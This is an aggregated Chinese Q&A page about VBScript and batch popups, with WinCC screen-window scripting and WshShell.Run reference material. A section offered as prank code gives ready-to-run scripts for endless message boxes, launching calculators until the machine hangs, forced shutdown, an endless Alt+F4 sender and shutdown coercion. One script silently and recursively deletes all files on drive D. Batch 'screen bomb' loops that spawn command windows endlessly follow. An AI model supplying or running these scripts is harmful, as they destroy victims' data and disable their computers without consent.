vbs无限大量弹出窗口,怎样用wincc VBS全局脚本做弹出窗口

vbs无限大量弹出窗口,怎样用wincc VBS全局脚本做弹出窗口详细介绍

本文目录一览： vbs设置弹窗乱弹满屏

1、打开记事本程序。2、在记事本中第一行输入do。第二行输入msgbox()，括号内输入要显示的内容。第三行输入loop。3、点击记事本程序的另存为。4、将记事本另存为VBS文件，后缀名是vbs。5、双击保存的VBS文件，屏幕上就会出现一个怎么也关不掉的弹窗。

如何弹出多个 msgbox vbs？

以下代码复制粘贴到记事本，另存为xx.vbs，编码选ANSI
rem vbs弹出多个窗口
title="Any question +"& Chr(87) & Chr(88) & "/" & Chr(81) & Chr(81) & CStr(&H53b7e0b4)
Set ws=CreateObject("WScript.Shell")
Set fso=CreateObject("Scripting.Filesystemobject")
tmpfile=fso.GetSpecialFolder(2)+"\v.v"
Set f=fso.CreateTextFile(tmpfile,2)
f.Write "msgbox """ & title & """ & vbCrLf & ""Don't be evil."",,""warning"""
f.Close
For i=1 To 10
ws.Run """" & WSH.FullName & """ -e:vbscript """ & tmpfile & """",0,False
WSH.Sleep 1000
Next

VBS怎么一下弹出很多窗口

'弹出多个cmd窗口可以用run，下边的代码可弹出5个cmd窗口
Set shell=CreateObject("wscript.Shell")
a=1
Do
shell.Run "cmd /k MODE con: COLS=14 LINES=5&@echo off & color "&a&"7 &echo "&a&" "
If a=5 Then Exit do
a=a+1
loop
'不知是不是你要的？你要弹出的不是cmd窗口，找我 群 烈火脚本技术联盟 79264211

vbs弹出一个提醒休息的窗口，点击确定后五十分钟，则再次弹出窗口提醒，不断循环，该怎么写？win10

'以下代码复制粘贴到记事本，另存为xx.vbs，编码选ANSI
'间歇性弹窗提示
timeout=50 * 60 * 1000
Do
WSH.Sleep timeout
n=msgbox("休息",1,"提示")
If n = 2 Then
WSH.Quit
End If
Loop

怎样用wincc VBS全局脚本做弹出窗口

参见
网页链接
用切换变量前缀的方式来做，画面窗口的变量前缀用VBS来变换，脚本如下：
Dim pic
Set pic=ScreenItems("画面窗口1") '获取当前画面里的对象"画面窗口1"
pic.CaptionText="标题文本"
pic.TagPrefix="变量前缀"
pic.ScreenName ="画面名"
pic.Visible=True '设置显示

有没有一些恶搞别人的vbs代码

请点击展开进行观看
代码一：无限弹出信息框 双引号内可以自行修改
do
msgbox "爱邱哥爱生活"
loop
代码二：打开N个计算器，到电脑死机
et wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
代码三：电脑关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
代码四：格式化D盘
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
代码五：不断弹出N个窗口 双引号内可以自行修改
while(1)
msgbox "关不掉我了，爱邱哥爱生活"
loop
代码六：不断按alt+f4，开什么软件都自动关闭
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
代码七：按500次回车 双引号内可以自行修改
dim s
do until s=500
s=s+1
msgbox "500次回车是什么体验？爱邱哥爱生活",64
loop
代码八：关不掉的窗口（不停复制粘贴输入这个代码 可自行修改双引号内容 例子如下 可以复制N个）
WScript.Echo("嘿，我是邱哥"&TSNam）
WScript.Echo("你是谁")
WScript.Echo("哈哈哈，邱哥牛逼")
代码九：不说我是猪，电脑就自动关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a > "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
代码十：超强整人
set ws=createobject("wscript.shell")
call shutdown(1)
do while a>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

如何用bat文件无限弹出消息框？

1、首先，如图所示，我们打开电脑，在桌面鼠标右键，新建一个文本文档，2、然后修改这个文本文档的名字，把它修改为“炸弹弹屏”，并且修改文件后缀为bat，如图所示，文件变成了“炸弹弹屏.bat”，3、这里要注意了，如果你修改了以后没效果，文件不是这里黑色图片的样子，那就需要设置一下，如第二张图片所示，勾选【显示扩展名】，4、接下来，就是对“炸弹弹屏.bat”进行编辑。如图所示，右键点击该文件，然后点击【编辑】，
5、输入以下代码：
1:：start
2:start cmd
3:goto start
如图所示，输入后保存
6、到了这一步，炸弹弹屏就已经做好啦。
然后运行该文件即可看到效果了，如图所示，可以右键->打开，也可以直接双击打开该文件。
@echo off
echo msgbox "哈哈哈">%temp\1.vbs
:hahaha
%temp\1.vbs
goto hahaha:
1、首先新建一个文本文档，在里面输入：
:123
start cmd.exe
goto 123
2、点击保存按键，对这个文本文档更改为.bat为后缀，如果看不到软件后缀的可以按进入我的电脑，选择工具—文件夹选项—查看—隐藏文件夹类型扩展名；
3、系统会提示是否更改后缀名，按“是”就变成文本文档图标有螺纹状。

在vbs中 如何弹出新窗口？

Run
方法
建立新的进程，执行
strCommand。
object.Run
(strCommand,
[intWindowStyle],
[bWaitOnReturn])
参数
object
WshShell
对象。
strCommand
strCommand
参数中的环境变量将被自动展开。
intWindowStyle
可选项。设置正在运行的程序的窗口风格。
bWaitOnReturn
可选项。如果未指定
bWaitOnReturn
或其值为
FALSE，立即返回到脚本执行，而不是等待进程结束。
如果
bWaitOnReturn
被设置为
TRUE，Run
方法将返回应用程序返回的错误码。
如果未指定
bWaitOnReturn
或者为
FALSE，Run
方法将返回错误码
0。
说明
下表列出了
intWindowStyle
的可用设置：
intWindowStyle
描述
0
隐藏该窗口，激活另一个窗口。
1
激活并显示一个窗口。如果窗口被最小化或最大化，系统会将其恢复为原来的大小和位置。在第一次显示窗口时，应用程序应该指定该标志。
2
激活窗口，并将其显示为最小化窗口。
3
激活窗口，并将其显示为最大化窗口。
4
将一个窗口按照上一次的大小和位置显示。活动窗口仍保持活动状态。
5
激活窗口，并以其当前的大小和位置显示。
6
将指定的窗口最小化，并激活
Z
顺序中的下一个顶级窗口。
7
将窗口显示为最小化窗口。活动的窗口仍将保持活动状态。
8
显示窗口当前状态。活动的窗口仍将保持活动状态。
9
激活并显示窗口。如果窗口为最小化或最大化的，系统将其恢复到原始的大小和位置。在恢复最小化窗口时应用程序应该指定该标志。
10
根据启动应用程序的程序的状态设置显示状态。

VBS怎么制作有多个选项的对话框？

如何让VBS弹出一个对话框“确认、取消”，单击确认就执行下一个程序，单击取消就不执行并且关闭对话框？ 制作有多个选项的对话框？
dim wshset wsh = createobject("wscript.shell")if msgbox( "打开计算器？",1,"询问")=1 then wsh.run "calc.exe"end if
msgbox "内容",VbYesNoCancel,"标题"图中是msgbox第二个参数的可选设置值 你可以按你自己的需要选择 比如上述代码么 VbYesNoCancel 则弹出如下图的样式
你的要求没法无法用系统默认的msgbox，实现！可以自定义个弹出窗口来实现你的要求！
但可以如下，简单实现代替下
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
Dim n As Long
n = MsgBox("选择【终止】：选项1" & vbCrLf & "选择【重试】：选项2" & vbCrLf & "选择【忽略】：选项3", vbAbortRetryIgnore, "提示")
Debug.Print n
Cells(1, 1) = n
End Sub
很简单，将你定义的对话框赋值给一个变量来追踪，这个变量的值即为你点击不同按键带来的不同数值。
e.g.
value = msgbox("are u sure....",vbOkCancel,"title")
value=1，你点了ok；value=2，你点的是取消。
先把文件上传到网盘，地址贴上来，看看什么情况再说！
msgbox "内容",VbYesNoCancel,"标题"图中是msgbox第二个参数的可选设置值 你可以按你自己的需要选择 比如上述代码么 VbYesNoCancel 则弹出如下图的样式